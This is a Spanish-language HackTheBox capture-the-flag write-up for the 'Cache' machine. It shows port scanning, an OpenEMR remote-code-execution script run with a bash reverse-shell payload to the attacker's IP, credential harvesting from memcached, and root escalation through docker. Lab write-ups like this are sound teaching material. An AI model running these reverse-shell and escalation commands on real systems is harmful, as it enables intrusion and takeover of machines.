Cache es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Cache 10.10.10.188 a /etc/hosts como cache.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.80 scan initiated Fri May 14 22:16:33 2020 as: nmap -sV -Pn -p- -oA cache-nmap2 10.10.10.188 Nmap scan report for cache.htb (10.10.10.188) Host is up (0.055s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri May 14 22:34:54 2020 -- 1 IP address (1 host up) scanned in 1101.64 seconds |
No se observan muchos puertos abiertos, así que comenzaremos revisando el puerto 80.
Enumeración
Accedemos al puerto 80 a través del navegador y nos encontramos con la siguiente página web:
Inspeccionamos la página y los diferentes enlaces y observamos una página de login desde el menú superior que tiene el siguiente aspecto:
Ahora, continuando con la revisión, miramos a fondo el código fuente del portal hasta el momento y encontramos un fichero javascript en la url http://cache.htb/jquery/functionality.js, y en el cual encontramos unas credenciales:
|
1 |
ash:H@v3_fun |
Accedemos con las mismas al portal de login y llegamos a una página en construcción con una imagen de one piece y en la cual no encontramos nada más:
Continuando con la investigación, encontramos algo interesante en la página del autor de la máquina:
En la misma, referencia a otra página “HMS (Hospital Management System)”, así que probamos a incluirla en el fichero /etc/hosts:
|
1 |
10.10.10.188 hms.htb |
Y accedemos al dominio a través del navegador, llegando a una página web con el software open-source OpenEMR, un software de administración para centros médicos.
Llegamos a un portal de login en el que no conseguimos hacer mucho, aśi que buscamos en google acerca de alguna posible vulnerabilidad y encontramos un fallo a través del cual es posible la ejecución remota de código en la misma.
Nos descargamos dicho script y hacemos una serie de pruebas hasta dar con la clave:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ python openemr_rce.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.239/4444 0>&1' .---. ,---. ,---. .-. .-.,---. ,---. / .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\ | | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/ | | | | | |--' | .-' | |\ || .-' (_)\/ || ( \ `-' / | | | `--.| | |)|| `--.| \ / || |\ \ )---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\ (_) (__) (__) (__) (__) '-' '-' (__) ={ P R O J E C T I N S E C U R I T Y }= Twitter : @Insecurity Site : insecurity.sh [$] Authenticating with openemr_admin:xxxxxx [$] Injecting payload |
y conseguimos una shell con el usuario www-data:
|
1 2 3 4 5 6 7 8 9 |
$ nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from (UNKNOWN) [10.10.10.188] 37410 bash: cannot set terminal process group (2030): Inappropriate ioctl for device bash: no job control in this shell www-data@cache:/var/www/hms.htb/public_html/interface/main$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@cache:/var/www/hms.htb/public_html/interface/main$ |
A continuación revisamos el fichero /etc/passwd y la ruta /home en busca de posibles usuarios existentes en la instancia:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
www-data@cache:/var/www/hms.htb/public_html/interface/main$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin ash:x:1000:1000:ash:/home/ash:/bin/bash luffy:x:1001:1001:,,,:/home/luffy:/bin/bash memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false |
Y descubrimos dos usuarios potenciales ash y luffy. Si recordamos en el primer portal web, el acceso lo hicimos con el usuario ash, probamos entonces sus claves, pero nos falta una shell para poder acceder con el usuario:
|
1 2 3 4 5 6 7 8 9 10 |
www-data@cache:/home$ python3 -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@cache:/home$ su - ash su - ash Password: H@v3_fun ash@cache:~$ id id uid=1000(ash) gid=1000(ash) groups=1000(ash) ash@cache:~$ |
Obteniendo la flag de user
Logueados con el usuario ash, sólo tenemos que ir a su home para conseguir la flag de user:
|
1 2 3 4 5 6 7 8 9 10 11 |
ash@cache:~$ ls -l ls -l total 28 drwxrwxr-x 2 root root 4096 May 5 11:17 Desktop drwxrwxr-x 2 root root 4096 Oct 9 2019 Documents drwxrwxr-x 2 root root 4096 Sep 18 2019 Downloads drwxrwxr-x 2 root root 4096 Sep 18 2019 Music drwxrwxr-x 2 root root 4096 Sep 18 2019 Pictures drwxrwxr-x 2 root root 4096 Oct 9 2019 Public -r-x------ 1 ash ash 33 May 14 20:52 user.txt ash@cache:~$ |
Escalando privilegios
Ahora para el escalado de privilegios, revisamos posibles binarios y servicios a los cuales tenemos acceso y encontramos un puerto abierto interesante:
|
1 2 3 4 5 6 7 8 9 10 |
ash@cache:~$ ss -ltp ss -ltp State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 80 127.0.0.1:mysql 0.0.0.0:* LISTEN 0 128 127.0.0.1:11211 0.0.0.0:* LISTEN 0 128 127.0.0.53%lo:domain 0.0.0.0:* LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* LISTEN 0 128 *:http *:* LISTEN 0 128 [::]:ssh [::]:* ash@cache:~$ |
Vemos que la máquina tiene abierto en local el puerto 11211, el cual pertenece a memcached, así que intentamos obtener información del mismo conectandonos mediante telnet:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
ash@cache:~$ telnet localhost 11211 telnet localhost 11211 Trying ::1... Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. stats items stats items STAT items:1:number 5 STAT items:1:number_hot 0 STAT items:1:number_warm 0 STAT items:1:number_cold 5 STAT items:1:age_hot 0 STAT items:1:age_warm 0 STAT items:1:age 40 STAT items:1:evicted 0 STAT items:1:evicted_nonzero 0 STAT items:1:evicted_time 0 STAT items:1:outofmemory 0 STAT items:1:tailrepairs 0 STAT items:1:reclaimed 0 STAT items:1:expired_unfetched 0 STAT items:1:evicted_unfetched 0 STAT items:1:evicted_active 0 STAT items:1:crawler_reclaimed 0 STAT items:1:crawler_items_checked 8 STAT items:1:lrutail_reflocked 0 STAT items:1:moves_to_cold 25 STAT items:1:moves_to_warm 0 STAT items:1:moves_within_lru 0 STAT items:1:direct_reclaims 0 STAT items:1:hits_to_hot 0 STAT items:1:hits_to_warm 0 STAT items:1:hits_to_cold 0 STAT items:1:hits_to_temp 0 END get mypass get mypass END get passwd get passwd VALUE passwd 0 9 0n3_p1ec3 END |
Probamos a obtener diferentes datos y acabamos consiguiendo una password “0n3_p1ec3”, que procedemos a probar con el usuario luffy:
|
1 2 3 4 5 6 7 8 |
ash@cache:~$ su - luffy su - luffy Password: 0n3_p1ec3 luffy@cache:~$ id id uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker) luffy@cache:~$ |
Y hemos conseguido escalar privilegios lateralmente a un usuario que podría disponer de más permisos que el anterior.
Revisamos los servicios a los cuales tiene acceso el usuario luffy y encontramos que en esta máquina está instalado docker y que además dispone de una versión vulnerable de runc para la cual es posible el escalado de privilegios:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
luffy@cache:~$ docker version docker version Client: Version: 18.09.1 API version: 1.39 Go version: go1.10.6 Git commit: 4c52b90 Built: Wed Jan 9 19:35:31 2019 OS/Arch: linux/amd64 Experimental: false Server: Docker Engine - Community Engine: Version: 18.09.1 API version: 1.39 (minimum version 1.12) Go version: go1.10.6 Git commit: 4c52b90 Built: Wed Jan 9 19:02:44 2019 OS/Arch: linux/amd64 Experimental: false luffy@cache:~$ luffy@cache:~$ runc -version runc -version runc version 1.0.0-rc6+dev commit: 96ec2177ae841256168fcf76954f7177af9446eb spec: 1.0.1-dev luffy@cache:~$ |
De hecho esta vulnerabilidad la conocía muy bien, debido a que en un curso que impartí, fue la demostración que hice acerca de como hacer un escalado de privilegios en docker.
Además de esto, tenemos disponible el comando para realizar la explotación en gtfobins. Y el comando sería el siguiente:
|
1 |
$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh |
Obteniendo la flag de root
Ejecutaremos el anterior comando en la instancia con el usuario luffy para conseguir escalar privilegios a root y conseguir la flag:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
luffy@cache:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh # whoami whoami root # cd /root cd /root # ls -l ls -l total 4 -rw------- 1 root root 33 May 14 21:46 root.txt # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792
